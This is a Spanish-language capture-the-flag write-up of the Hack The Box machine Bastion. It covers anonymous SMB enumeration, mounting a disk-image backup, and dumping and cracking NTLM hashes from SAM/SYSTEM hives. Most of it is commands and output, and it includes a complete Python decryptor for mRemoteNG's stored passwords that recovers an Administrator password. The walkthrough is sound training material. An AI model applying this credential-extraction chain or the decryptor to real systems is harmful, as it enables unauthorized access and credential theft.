Enumeración
Nuestra fase de reconocimiento comenzó validando la conectividad con el objetivo. El TTL=127 del paquete ICMP nos indicó de inmediato que nos enfrentábamos a un sistema operativo Windows. Al realizar un escaneo de puertos con Nmap, descubrimos servicios típicos de Windows Server, destacando los puertos 22 (SSH) y 445 (SMB).
El hallazgo más importante surgió al enumerar el servicio SMB. Al intentar una conexión sin credenciales, logramos listar los recursos compartidos y descubrimos un directorio inusual llamado Backups. Al explorarlo, encontramos una nota de los administradores que confirmaba la existencia de copias de seguridad de imágenes de disco en ese mismo recurso.
# [-c 1] Enviar exactamente 1 paquete ICMP
# Comprobar la conexión y el ttl=127 que confirma casi con seguridad un sistema Windows
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ ping -c 1 $IP
64 bytes from 10.129.136.29: icmp_seq=1 ttl=127 time=116 ms
# [-p-] Escanear los 65535 puertos
# [-n] Desactivar resolución DNS para agilizar el escaneo
# [-sS] Escaneo TCP SYN (Stealth)
# [-Pn] Omitir el descubrimiento de host (No ping)
# [--min-rate=5000] Enviar al menos 5000 paquetes por segundo
# [-oG] Guardar el output en formato Grepeable
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ sudo nmap -p- -n -sS -Pn --min-rate=5000 $IP -oG nmap/allPorts
PORT STATE SERVICE
22/tcp open ssh
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman
47001/tcp open winrm
49664/tcp open unknown
49665/tcp open unknown
49666/tcp open unknown
49667/tcp open unknown
49668/tcp open unknown
49669/tcp open unknown
49670/tcp open unknown
# [-p...] Escanear específicamente los puertos descubiertos
# [-sCV] Combinación para ejecutar scripts por defecto (-sC) y enumerar versiones (-sV)
# [-oN] Guardar el output en formato Nmap normal
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ sudo nmap -p22,135,139,445,5985,47001,49664,49665,49666,49667,49668,49669,49670 -sCV --min-rate=5000 $IP -oN nmap/versions
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.9 (protocol 2.0)
| ssh-hostkey:
| 2048 3a:56:ae:75:3c:78:0e:c8:56:4d:cb:1c:22:bf:45:8a (RSA)
| 256 cc:2e:56:ab:19:97:d5:bb:03:fb:82:cd:63:da:68:01 (ECDSA)
|_ 256 93:5f:5d:aa:ca:9f:53:e7:f2:82:e6:64:a8:a3:a0:18 (ED25519)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
47001/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -39m57s, deviation: 1h09m15s, median: 1s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2026-05-09T19:50:35
|_ start_date: 2026-05-09T19:38:12
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: Bastion
| NetBIOS computer name: BASTION\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2026-05-09T21:50:34+02:00
# [-L] Solicitar listar (List) los recursos compartidos disponibles en la IP objetivo
# [-N] Indicar que no se proporcionará contraseña (intento de acceso anónimo/Null Session)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ smbclient -L \\$IP -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
Backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
# Conectarnos al recurso compartido no estándar "Backups" de forma anónima
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ smbclient //$IP/Backups -N
smb: \> ls
note.txt AR 116 Tue Apr 16 06:10:09 2019
SDT65CB.tmp A 0 Fri Feb 22 07:43:08 2019
WindowsImageBackup Dn 0 Fri Feb 22 07:44:02 2019
# Descargar la nota dejada por los sysadmins
smb: \> get note.txt
getting file \note.txt of size 116 as note.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)
# Navegar por los directorios internos de la copia de seguridad
smb: \WindowsImageBackup\L4mpje-PC\> cd "\WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\Backup 2019-02-22 124351"
# Listar el contenido para descubrir los archivos de disco virtual (.vhd), destacando uno de más de 5GB
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> ls
9b9cfbc3-369e-11e9-a17c-806e6f6e6963.vhd An 37761024 Fri Feb 22 07:44:02 2019
9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd An 5418299392 Fri Feb 22 07:44:03 2019
BackupSpecs.xml An 1186 Fri Feb 22 07:45:32 2019
smb: \WindowsImageBackup\L4mpje-PC\Backup 2019-02-22 124351\> exit
# Leer la nota descargada (advierte que el archivo de backup es muy pesado para transferir por VPN)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ cat note.txt
Sysadmins: please dont transfer the entire backup file locally, the VPN to the subsidiary office is too slow.
Explotación
Dado que descargar un archivo .vhd de 5GB por SMB sería ineficiente y propenso a errores, decidimos montar el recurso compartido directamente en nuestro sistema local usando gio. Una vez enlazado, utilizamos guestmount para montar internamente la imagen del disco duro virtual, lo que nos permitió navegar por sus archivos como si fuera un directorio de Linux.
Nos dirigimos a la ruta crítica de Windows System32/config y extrajimos las bases de datos de registro SAM y SYSTEM locales del backup. Utilizando impacket-secretsdump, logramos volcar los hashes NTLM de los usuarios de la máquina. Tras procesar el volcado con Hashcat y el diccionario rockyou.txt, conseguimos descifrar la contraseña del usuario L4mpje, obteniendo nuestro acceso inicial conectándonos a través del servicio SSH.
# Montar el recurso compartido SMB completo en el sistema de archivos local de Linux (gvfs)
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ gio mount smb://10.129.136.29/Backups
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ ls /run/user/1000/gvfs/
'smb-share:server=10.129.136.29,share=backups'
# Crear el directorio destino donde montaremos el disco virtual internamente
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ mkdir -p ~/HTB/bastion/vhd_mnt
# [-a] Ruta absoluta al archivo .vhd de más de 5GB que expuso gio
# [-m] Indicar la partición del disco virtual que queremos montar (/dev/sda1)
# [--ro] Montar el disco en modo Solo Lectura (Read-Only) por seguridad
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ guestmount -a "/run/user/1000/gvfs/smb-share:server=10.129.136.29,share=backups/WindowsImageBackup/L4mpje-PC/Backup 2019-02-22 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd" -m /dev/sda1 --ro ~/HTB/bastion/vhd_mnt
# Navegar a la ruta crítica donde Windows almacena las bases de datos locales
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ cd vhd_mnt/Windows/System32/config
┌──(jquirozz㉿jquirozz.com)-[~/…/vhd_mnt/Windows/System32/config]
└─$ ls -l SAM SYSTEM SECURITY
-rwxrwxrwx 1 root root 262144 Feb 22 2019 SAM
-rwxrwxrwx 1 root root 262144 Feb 22 2019 SECURITY
-rwxrwxrwx 1 root root 9699328 Feb 22 2019 SYSTEM
# Copiar los archivos de registro (SAM, SYSTEM, SECURITY) a nuestro entorno local
┌──(jquirozz㉿jquirozz.com)-[~/…/vhd_mnt/Windows/System32/config]
└─$ cp SAM SYSTEM SECURITY ~/HTB/bastion
# [-sam, -security, -system] Indicar las rutas de los archivos extraídos del backup
# [LOCAL] Analizar los archivos de forma offline
# [-outputfile] Guardar el volcado de hashes NTLM limpios
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL -outputfile SAM_NTLM
[*] Target system bootKey: 0x8b56b2cb5033d8e2e289c26f8939a25f
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::
[*] Dumping cached domain logon information (domain/username:hash)
[*] Dumping LSA Secrets
[*] DefaultPassword
(Unknown User):bureaulampje
[*] DPAPI_SYSTEM
dpapi_machinekey:0x32764bdcb45f472159af59f1dc287fd1920016a6
dpapi_userkey:0xd2e02883757da99914e3138496705b223e9d03dd
[*] Cleaning up...
# [-d] Utilizar ":" como delimitador
# [-f 4] Extraer exclusivamente el campo 4 (el hash NTLM) y guardarlo en un archivo
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ cat SAM_NTLM.sam | cut -d ":" -f 4 > hashes
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ cat hashes
31d6cfe0d16ae931b73c59d7e0c089c0
31d6cfe0d16ae931b73c59d7e0c089c0
26112010952d963c8dc4217daec986d9
# [-m 1000] Especificar el módulo de NTLM en Hashcat para crackear la contraseña usando rockyou.txt
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ hashcat -m 1000 hashes /usr/share/wordlists/rockyou.txt
31d6cfe0d16ae931b73c59d7e0c089c0:
26112010952d963c8dc4217daec986d9:bureaulampje
# Acceder a la máquina por SSH usando la contraseña crackeada para el usuario L4mpje:bureaulampje
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ ssh L4mpje@$IP
l4mpje@BASTION C:\Users\L4mpje>ls Desktop
09-05-2026 21:38 34 user.txt
l4mpje@BASTION C:\Users\L4mpje\Desktop>type Desktop/user.txt
f2****************************f6
Escalada de privilegios
Una vez con acceso de bajo privilegio, iniciamos la enumeración del sistema buscando archivos con credenciales en texto claro o configuraciones sensibles. Usando comandos nativos de Windows, descubrimos archivos de configuración pertenecientes a mRemoteNG, un gestor de conexiones remotas.
Al inspeccionar el archivo confCons.xml, confirmamos que el programa almacenaba la contraseña del usuario Administrator en un formato cifrado en Base64. Sabiendo que mRemoteNG utiliza una contraseña maestra por defecto (mR3m) si el usuario no la cambia, escribimos un script en Python para revertir el cifrado AES-GCM localmente. Esto nos permitió extraer la contraseña en texto claro y comprometer totalmente la máquina. Mi script se basó en el repositorio https://github.com/haseebT/mRemoteNG-Decrypt. Puedes usarlo como alternativa.
# Comprobar la versión exacta del sistema operativo Windows
l4mpje@BASTION C:\Users\L4mpje>ver
Microsoft Windows [Version 10.0.14393]
# [/s] Buscar de forma recursiva en todos los subdirectorios
# Buscar archivos cuyos nombres contengan palabras clave como pass, cred, vnc o terminen en .config
l4mpje@BASTION C:\Users\L4mpje>dir /s *pass* == *cred* == *vnc* == *.config*
Directory of C:\Users\L4mpje\AppData\Local\Microsoft\Windows\INetCache\Low\IE\AOT8Y1PS
22-02-2019 15:00 318 Passport[1].htm
Directory of C:\Users\L4mpje\AppData\Local\Microsoft_Corporation\ServerManager.exe_StrongName_m3xk0k0ucj0oj3ai2hibnhnv4xobnimj\10.0.0.0
22-02-2019 14:59 5.793 user.config
Directory of C:\Users\L4mpje\AppData\Local\mRemoteNG\mRemoteNG.exe_Url_pjpxdehxpaaorqg2thmuhl11a34i3ave\1.76.11.40527
22-02-2019 15:03 4.175 user.config
Directory of C:\Users\L4mpje\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\en-US
16-07-2016 15:18 1.309 AAA_SystemSettings_MultiTasking_SnapAssistEnabled.settingcontent-ms
16-07-2016 15:18 1.253 AAA_SystemSettings_Users_ChangePassword.settingcontent-ms
16-07-2016 15:18 1.265 AAA_SystemSettings_Users_PicturePassword.settingcontent-ms
16-07-2016 15:18 1.233 AAA_SystemSettings_Users_PINPassword.settingcontent-ms
Directory of C:\Users\L4mpje\AppData\Local\Packages\windows.immersivecontrolpanel_cw5n1h2txyewy\LocalState\Indexed\Settings\en-US
16-07-2016 15:18 1.339 AAA_SystemSettings_SyncSettings_SyncCredentials_Toggle.settingcontent-ms
# El comando anterior revela rutas interesantes, destacando la presencia del gestor de conexiones mRemoteNG en AppData
# Nos desplazamos al directorio de mRemoteNG ubicado en la variable de entorno de Roaming
l4mpje@BASTION C:\>cd %APPDATA%/mRemoteNG
# Listamos el contenido del directorio para visualizar los archivos de configuración y backups
l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>dir
22-02-2019 15:03 6.316 confCons.xml
22-02-2019 15:02 6.194 confCons.xml.20190222-1402277353.backup
22-02-2019 15:02 6.206 confCons.xml.20190222-1402339071.backup
22-02-2019 15:02 6.218 confCons.xml.20190222-1402379227.backup
22-02-2019 15:02 6.231 confCons.xml.20190222-1403070644.backup
22-02-2019 15:03 6.319 confCons.xml.20190222-1403100488.backup
22-02-2019 15:03 6.318 confCons.xml.20190222-1403220026.backup
22-02-2019 15:03 6.315 confCons.xml.20190222-1403261268.backup
22-02-2019 15:03 6.316 confCons.xml.20190222-1403272831.backup
22-02-2019 15:03 6.315 confCons.xml.20190222-1403433299.backup
22-02-2019 15:03 6.316 confCons.xml.20190222-1403486580.backup
22-02-2019 15:03 51 extApps.xml
22-02-2019 15:03 5.217 mRemoteNG.log
22-02-2019 15:03 2.245 pnlLayout.xml
# Leer el contenido del archivo de configuración principal (confCons.xml)
# Aquí descubrimos que almacena conexiones guardadas y expone la credencial encriptada en Base64 para el usuario "Administrator"
l4mpje@BASTION C:\Users\L4mpje\AppData\Roaming\mRemoteNG>type confCons.xml
<mrng:Connections xmlns:mrng="http://mremoteng.org" Name="Connections" Export="false" EncryptionEngine="AES" BlockCipherMode="GC
M" KdfIterations="1000" FullFileEncryption="false" Protected="ZSvKI7j224Gf/twXpaP5G2QFZMLr1iO1f5JKdtIKL6eUg+eWkL5tKO886au0ofFPW0
oop8R8ddXKAx4KK7sAk6AA" ConfVersion="2.6">
<Node Name="DC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="500e7d58-662a-44d4-aff0-3a4f547a3fee" Userna me="Administrator" Domain="" Password="aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw==" Hostname="127.0.0.1" Protocol="RDP" ... />
<Node Name="L4mpje-PC" Type="Connection" Descr="" Icon="mRemoteNG" Panel="General" Id="8d3579b2-e68e-48c1-8f0f-9ee1347c9128" Username="L4mpje" Domain="" Password="yhgmiu5bbuamU3qMUKc/uYDdmbMrJZ/JvR1kYe4Bhiu8bXybLxVnO0U9fKRylI7NcB9QuRsZVvla8esB" Hostnam e="192.168.1.75" Protocol="RDP" ... />
</mrng:Connections>
decrypt.py: Revisión del código para el descifrado de la contraseña
# Importar las librerías necesarias para el manejo de hashes, decodificación base64 y cifrado AES
import hashlib
import base64
import sys
from Cryptodome.Cipher import AES
# Validar que se envíe el string en base64 como argumento al ejecutar el script
if len(sys.argv) < 2:
print('Usage: python3 script.py <base64_string>')
sys.exit(1)
# Almacenar el string cifrado pasado por consola
encrypted_b64 = sys.argv[1]
# Contraseña maestra por defecto codificada en el código fuente de mRemoteNG
secret_pass = "mR3m"
# Decodificar el string de Base64 a bytes sin procesar
raw_data = base64.b64decode(encrypted_b64)
# mRemoteNG estructura el string decodificado en partes fijas. Extraemos cada componente por su longitud en bytes:
# Los primeros 16 bytes corresponden al Salt criptográfico
salt = raw_data[:16]
# Los siguientes 16 bytes (del 16 al 32) corresponden al Nonce (Number used once)
nonce = raw_data[16:32]
# El texto cifrado se encuentra desde el byte 32 hasta los últimos 16 bytes
ciphertext = raw_data[32:-16]
# Los últimos 16 bytes son la etiqueta de autenticación (Tag) requerida por el modo GCM
tag = raw_data[-16:]
# Derivar la llave criptográfica usando PBKDF2 (1000 iteraciones usando el salt extraído y la contraseña maestra)
key = hashlib.pbkdf2_hmac("sha1", secret_pass.encode(), salt, 1000, dklen=32)
# Inicializar el cifrador AES en modo GCM con la llave y el nonce generados
cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
# En mRemoteNG, el salt también se utiliza como "Associated Data" para la verificación de integridad
cipher.update(salt)
# Decifrar el texto y verificar simultáneamente que no haya sido alterado usando el Tag
plaintext = cipher.decrypt_and_verify(ciphertext, tag)
# Imprimir la contraseña decodificada en texto plano
print(f'Decrypted Password: {plaintext.decode('utf-8')}')
# Ejecutar nuestro script pasándole como único argumento el hash Base64 del Administrador encontrado en el XML
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion]
└─$ python3 decrypt.py 'aEWNFV5uGcjUHF0uS17QTdT9kVqtKCPeoC0Nw5dmaPFjNQ2kt/zO5xDqE4HdVmHAowVRdC7emf7lWWA10dQKiw=='
Decrypted Password: thXLHM96BeKL0ER2
# Con la contraseña en texto claro recuperada (thXLHM96BeKL0ER2), iniciamos sesión vía SSH directamente como Administrador
┌──(jquirozz㉿jquirozz.com)-[~/HTB/bastion/mRemoteNG-Decrypt]
└─$ ssh Administrator@$IP
# Navegamos al escritorio del Administrador para buscar la flag final
administrator@BASTION C:\Users\Administrator>cd Desktop
# Pwned!
administrator@BASTION C:\Users\Administrator\Desktop>type root.txt
be****************************f9